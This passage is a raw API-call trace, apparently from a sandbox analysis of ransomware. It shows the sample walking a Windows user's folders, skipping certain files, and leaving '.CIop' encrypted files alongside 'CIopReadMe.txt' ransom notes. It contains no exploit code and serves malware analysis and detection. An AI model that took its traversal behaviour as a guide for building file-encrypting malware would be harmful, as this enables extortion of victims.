hFindFile=0x67e0f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.171] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0169.171] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0169.171] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.171] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.171] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.171] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.171] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0169.172] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0169.172] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0169.172] SetErrorMode (uMode=0x1) returned 0x1 [0169.172] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0169.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0169.172] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0169.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0169.172] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.172] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0169.172] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.172] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.172] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.172] lstrlenW (lpString="desktop.ini") returned 11 [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.172] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0169.172] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0169.172] lstrlenW (lpString=".LNK") returned 4 [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.172] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0169.172] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0169.172] lstrlenW (lpString=".LNK") returned 4 [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.172] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0169.172] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0169.172] lstrlenW (lpString=".LNK") returned 4 [0169.172] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.172] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.172] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.172] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0169.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0169.172] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.173] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0169.173] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.173] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.173] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.173] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.173] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.173] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0169.173] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0169.173] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0169.173] SetErrorMode (uMode=0x1) returned 0x1 [0169.173] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0169.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0169.173] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0169.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0169.173] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.173] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0169.173] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0169.173] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.173] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0169.173] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0169.173] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.174] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0169.174] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0169.174] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.174] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.174] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0169.174] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0169.174] SetErrorMode (uMode=0x1) returned 0x1 [0169.174] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0169.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0169.174] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0169.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0169.174] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.174] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0169.174] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0169.174] lstrlenW (lpString=".CIop") returned 5 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.174] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.174] lstrlenW (lpString="desktop.ini") returned 11 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0169.174] lstrlenW (lpString=".CIop") returned 5 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.174] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0169.174] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0169.175] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0169.175] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0169.175] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0169.175] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0169.175] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0169.175] lstrlenW (lpString=".CIop") returned 5 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.175] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.175] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.175] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0169.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0169.175] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.175] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0169.175] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.175] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0169.176] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0169.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0169.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0169.176] SetErrorMode (uMode=0x1) returned 0x1 [0169.176] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0169.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0169.176] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0169.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0169.176] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0169.176] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0169.176] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.176] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.176] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0169.176] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0169.176] lstrlenW (lpString=".CIop") returned 5 [0169.176] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0169.177] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0169.177] lstrlenW (lpString=".CIop") returned 5 [0169.177] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0169.177] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0169.177] lstrlenW (lpString=".CIop") returned 5 [0169.177] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0169.177] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0169.177] lstrlenW (lpString=".CIop") returned 5 [0169.177] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.177] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.177] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.177] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0169.177] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0169.177] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0169.177] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0169.177] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.177] FindNextFileW (in: 